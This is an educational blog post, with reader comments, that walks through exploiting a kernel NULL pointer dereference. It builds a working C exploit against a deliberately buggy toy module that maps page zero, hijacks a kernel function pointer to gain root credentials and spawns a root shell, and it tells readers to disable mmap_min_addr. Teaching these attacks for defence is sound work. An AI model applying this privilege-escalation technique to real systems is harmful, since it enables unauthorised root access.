Much ado about NULL: Exploiting a kernel NULL dereference
Posted in Programming on April 13th, 2010 by Nelson Elhage – 39 Comments
Last time, we took a brief look at virtual memory and what a NULL pointer really means, as well as how we can use the mmap(2) function to map the NULL page so that we can safely use a NULL pointer. We think that it’s important for developers and system administrators to be more knowledgeable about the attacks that black hats regularly use to take control of systems, and so, today, we’re going to start from where we left off and go all the way to a working exploit for a NULL pointer dereference in a toy kernel module.
A quick note: For the sake of simplicity, concreteness, and conciseness, this post, as well as the previous one, assumes Intel x86 hardware throughout. Most of the discussion should be applicable elsewhere, but I don’t promise any of the details are the same.
nullderef.ko
In order to allow you play along at home, I’ve prepared a trivial kernel module that will deliberately cause a NULL pointer derefence, so that you don’t have to find a new exploit or run a known buggy kernel to get a NULL dereference to play with. I’d encourage you to download the source and follow along at home. If you’re not familiar with building kernel modules, there are simple directions in the README. The module should work on just about any Linux kernel since 2.6.11.
Don’t run this on a machine you care about – it’s deliberately buggy code, and will easily crash or destabilize the entire machine. If you want to follow along, I recommend spinning up a virtual machine for testing.
While we’ll be using this test module for demonstration, a real exploit would instead be based on a NULL pointer dereference somewhere in the core kernel (such as last year’s sock_sendpage vulnerability), which would allow an attacker to trigger a NULL pointer dereference — much like the one this toy module triggers — without having to load a module of their own or be root.
If we build and load the nullderef module, and execute
echo 1 > /sys/kernel/debug/nullderef/null_read
our shell will crash, and we’ll see something like the following on the console (on a physical console, out a serial port, or in dmesg):
BUG: unable to handle kernel NULL pointer dereference at 00000000 IP: [<c5821001>] null_read_write+0x1/0x10 [nullderef]
The kernel address space
We saw last time that we can map the NULL page in our own application. How does this help us with kernel NULL dereferences? Surely, if every application has its own address space and set of addresses, the core operating system itself must also have its own address space, where it and all of its code and data live, and mere user programs can’t mess with it?
For various reasons, that that’s not quite how it works. It turns out that switching between address spaces is relatively expensive, and so to save on switching address spaces, the kernel is actually mapped into every process’s address space, and the kernel just runs in the address space of whichever process was last executing.
In order to prevent any random program from scribbling all over the kernel, the operating system makes use of a feature of the x86′s virtual memory architecture called memory protection. At any moment, the processor knows whether it is executing code in user (unprivileged) mode or in kernel mode. In addition, every page in the virtual memory layout has a flag on it that specifies whether or not user code is allowed to access it. The OS can thus arrange things so that program code only ever runs in “user” mode, and configures virtual memory so that only code executing in “kernel” mode is allowed to read or write certain addresses. For instance, on most 32-bit Linux machines, in any process, the address 0xc0100000 refers to the start of the kernel’s memory – but normal user code is not allowed to read or write it.

A slightly more accurate virtual memory diagram. Blue regions are only accessible to code running in kernel mode.
Since we have to prevent user code from arbitrarily changing privilege levels, how do we get into kernel mode? The answer is that there are a set of entry points in the kernel that expect to be callable from unprivileged code. The kernel registers these with the hardware, and the hardware has instructions that both switch to one of these entry points, and change to kernel mode. For our purposes, the most relevant entry point is the system call handler. System calls are how programs ask the kernel to do things for them. For example, if a programs want to write from a file, it prepares a file descriptor referring to the file and a buffer containing the data to write. It places them in a specified location (usually in certain registers), along with the number referring to the write(2) system call, and then it triggers one of those entry points. The system call handler in the kernel then decodes the argument, does the write, and return to the calling program.
This all has at least two important consequence for exploiting NULL pointer dereferences:
First, since the kernel runs in the address space of a userspace process, we can map a page at NULL and control what data a NULL pointer dereference in the kernel sees, just like we could for our own process!
Secondly, if we do somehow manage to get code executing in kernel mode, we don’t need to do any trickery at all to get at the kernel’s data structures. They’re all there in our address space, protected only by the fact that we’re not normally able to run code in kernel mode.
We can demonstrate the first fact with the following program, which writes to the null_read file to force a kernel NULL dereference, but with the NULL page mapped, so that nothing goes wrong:
(As in part I, you’ll need to echo 0 > /proc/sys/vm/mmap_min_addr as root before trying this on any recent distribution’s kernel. While mmap_min_addr does provide some protection against these exploits, attackers have in the past found numerous ways around this restriction. In a real exploit, an attacker would use one of those or find a new one, but for demonstration purposes it’s easier to just turn it off as root.)
#include <sys/mman.h>
#include <stdio.h>
#include <fcntl.h>
int main() {
mmap(0, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
int fd = open("/sys/kernel/debug/nullderef/null_read", O_WRONLY);
write(fd, "1", 1);
close(fd);
printf("Triggered a kernel NULL pointer dereference!\n");
return 0;
}
Writing to that file will trigger a NULL pointer dereference by the nullderef kernel module, but because it runs in the same address space as the user process, the read proceeds fine and nothing goes wrong – no kernel oops. We’ve passed the first step to a working exploit.
Putting it together
To put it all together, we’ll use the other file that nullderef exports, null_call. Writing to that file causes the module to read a function pointer from address 0, and then call through it. Since the Linux kernel uses function pointers essentially everywhere throughout its source, it’s quite common that a NULL pointer dereference is, or can be easily turned into, a NULL function pointer dereference, so this is not totally unrealistic.
So, if we just drop a function pointer of our own at address 0, the kernel will call that function pointer in kernel mode, and suddenly we’re executing our code in kernel mode, and we can do whatever we want to kernel memory.
We could do anything we want with this access, but for now, we’ll stick to just getting root privileges. In order to do so, we’ll make use of two built-in kernel functions, prepare_kernel_cred and commit_creds. (We’ll get their addresses out of the /proc/kallsyms file, which, as its name suggests, lists all kernel symbols with their addresses)
struct cred is the basic unit of “credentials” that the kernel uses to keep track of what permissions a process has – what user it’s running as, what groups it’s in, any extra credentials it’s been granted, and so on. prepare_kernel_cred will allocate and return a new struct cred with full privileges, intended for use by in-kernel daemons. commit_cred will then take the provided struct cred, and apply it to the current process, thereby giving us full permissions.
Putting it together, we get:
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
__attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
__attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
/* Find a kernel symbol in /proc/kallsyms */
void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
void *addr;
int ret;
while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
if (!strcmp(sym, name))
return addr;
return NULL;
}
/* This function will be executed in kernel mode. */
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
int main() {
prepare_kernel_cred = get_ksym("prepare_kernel_cred");
commit_creds = get_ksym("commit_creds");
if (!(prepare_kernel_cred && commit_creds)) {
fprintf(stderr, "Kernel symbols not found. "
"Is your kernel older than 2.6.29?\n");
}
/* Put a pointer to our function at NULL */
mmap(0, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
void (**fn)(void) = NULL;
*fn = get_root;
/* Trigger the kernel */
int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
write(fd, "1", 1);
close(fd);
if (getuid() == 0) {
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
fprintf(stderr, "Something went wrong?\n");
return 1;
}
(struct cred is new as of kernel 2.6.29, so for older kernels, you’ll need to use this this version, which uses an old trick based on pattern-matching to find the location of the current process’s user id. Drop me an email or ask in a comment if you’re curious about the details.)
So, that’s really all there is. A “production-strength” exploit might add lots of bells and whistles, but, there’d be nothing fundamentally different. mmap_min_addr offers some protection, but crackers and security researchers have found ways around it many times before. It’s possible the kernel developers have fixed it for good this time, but I wouldn’t bet on it.
One last note: Nothing in this post is a new technique or news to exploit authors. Every technique described here has been in active use for years. This post is intended to educate developers and system administrators about the attacks that are in regular use in the wild.
Worried about NULL pointer dereferences?
The best solution, of course, is not to be vulnerable to them in the first place. Ksplice Uptrack makes it easy to fix NULL pointer dereferences and any other vulnerabilities in your running kernel, without rebooting.

i’m no blackhat! But then again, I did steal most of my bugs. :p. Goodun
I don’t understand why the Linux Kernel just doesn’t flat-out disable this, rather than making it an optional security feature. In the NT kernel, addresses less than 0×10000 are completely disabled, for exactly this reason – if you access those addresses, it is guaranteed to be a segfault.
Paul Betts: The reasons are mostly historical. Wine, for instance, needs to be able to map the low page of memory in order to emulate some old DOS programs.
After all the NULL pointer vulnerabilities last year, every major distro has now turned
mmap_min_addron by default. So if you need to run old DOS programs in Wine you can still change it, but it should be much harder to exploit these things by default.Also, while NT may prevent this, many versions of Windows have allowed you to map the NULL pointer, and were open to the exact same class of vulnerabilities. See, for example, see this Windows privilege escalation bug. I assume that Windows has probably also tried to close this hole in more recent kernels, but I don’t know the story there.
Very nice post thank you. Been meaning to start understanding exploiting kernel bugs
how come nobody has mentioned Bradley Spengler, and his work on grsecurity (http://www.grsecurity.net). Also about the pax approach at fixing null kernel dereferences on the kernel?
crackers have figured out a way? the art is hitting a wall and then figuring out how to turn that wall into a tool. that’s what “hacking” always was about right? that is also why it has the capacity to grasp more than 24 hours of someone’s time.
people didn’t believe these things were exploitable until one intelligent guy made a statement, and everybody made a big deal about them. this intelligent guy then poured a portion of his lifetime into various methods in order to defend against every possible type of attack he can conceive of. and he has, and people still write about this crap without giving credit to the artists of “security” and “exploitation”.
thanks, spender and pipacs.
Did you just call the people who are finding ways to bypass mmap_min_addr and reporting them to the Linux kernel developers “crackers”? Way to show your appreciation of their work.
v: I mentioned spender in Part I, and gave him credit for bringing a lot of attention to the NULL pointer vulnerabilities last year. I am a big fan of spender and pipac’s work. I didn’t mention grsec or PaX because most people aren’t running them, this post was just an introduction to the basic concepts behind these vulnerabilities, and I was running too long anyways.
Extraordinary!
Why is the standard library header needed in the second secion of code?
Alexander Sotirov: I’m sorry that my wording gave that impression. I originally chose to use “crackers” to emphasize that the black hats are very much using these techniques in the wild, and then later added the links. I’m well aware that most of these issues were publically discovered and disclosed by security researchers, and I am very grateful for all of their work. I’ve updated the wording of that sentence.
Somethings wrong for me. I get segmentation fault on line 48.
I have compiled and loaded module, copied and compiled exploit code and it doesn’t work. :/
My mistake. Forgot about: “echo 0 > /proc/sys/vm/mmap_min_addr”.
Sorry
K: Looks like you’re right, there’s no reason for it. I guess I just put it in there out of habit.
I believe grsecurity has a patch that prevents all user->kernel exploits by unmmaping the user memory-space in every system call.
lol linux is for pool people. get a mac!
I for one appreciate these kinds of posts for a number of reasons; mostly however because the more information I know about various systems helps me design and write better software and also helps me in my role as system administrator.
Thank you for the article; and thank you folks who commented.
–Jason P Sage
A halfway-decent MMU, correctly programmed, would prevent this kind of exploit by preventing the untrusted code and data from being unexpectedly accessed by the kernel. The kernel might well crash if the exception cannot be cleanly handled (that’s another story), but it’s slightly better than being rooted.
The last time I looked, though, the x86 MMU wasn’t even a quarter-way decent
Great article!
Just want to share that I would get the following in dmesg with selinux enabled on my Fedora12.
nullcall[2493]: segfault at 0 ip 0000000000400966 sp 00007fff951953b0 error 6 in nullcall[400000+1000]
Tomoe: I believe that, on recent kernels, SELinux blocks mmap’ing the zero page separately from the
mmap_min_addrmechanism. You should be able to disable this protection for the purposes of experimentation by runningas root.
Thanks Nelson.
Just FYI. setsebool didn’t work either.
I had disabled selinux completely and scceeded in getting root and got an idea before the post:) Don’t bother to investigate unless you want.
Here’s disassembled code and the ip is at * mark; dereferencing NULL
pointer gets the fault.
Thx
What’s special with NULL pointers? Does this technique work for all addresses shared between kernel and userspace?
Just simplified the module a bit: http://github.com/mina86/nullderef
Guybrush Threepwood, yes, it work’s with any address, nothing special about null pointer here. If you dereference a pointer with an invalid value you’re getting unexpected results — that was always the case no matter if kernel or user space.
Sharing a knowledgebase article I wrote awhile back – How to mitigate against NULL pointer dereference vulnerabilities? http://kbase.redhat.com/faq/docs/DOC-20536.
How to call our own function if the NULL pointer dereference happens somewhere in the kernel not in our own module? In that case do need to put some jump instruction on “0″ to jump to our function? How do we do it?
Ramesh, you map the null page and save a pointer to your own function on location pointed by null pointer.
The major problem is not the NPR but the fact that user code is executed within a kernel context.
The mmap_min_addr proc entry is just a pseudo-kludge which reduces the risk;
something better would be to have the user pages get their NX bit set when switching to
kernel mode…
I don’t know x86 enough to say it would be feasible and efficient, but it would be great
if there were some flags in the TLBs & co telling “this page can be RWX in user mode, but only R/W in kernel mode”.
aortega: that description of UDEREF isn’t really correct. NULL pointer dereferences in the kernel’s interrupt handlers can also be exploited, and UDEREF protects against this case as well. On x86, segmentation is used to prevent unintended userland accesses, while on x64 the address space is manipulated on any userlandkernel transition. As the x86 version doesn’t involve page table manipulation, it avoids the overhead of TLB flushing and repopulation.
Information on UDEREF for x86 is here:
http://grsecurity.net/~spender/uderef.txt
and for x64 is here:
http://grsecurity.net/pipermail/grsecurity/2010-April/001024.html
-Brad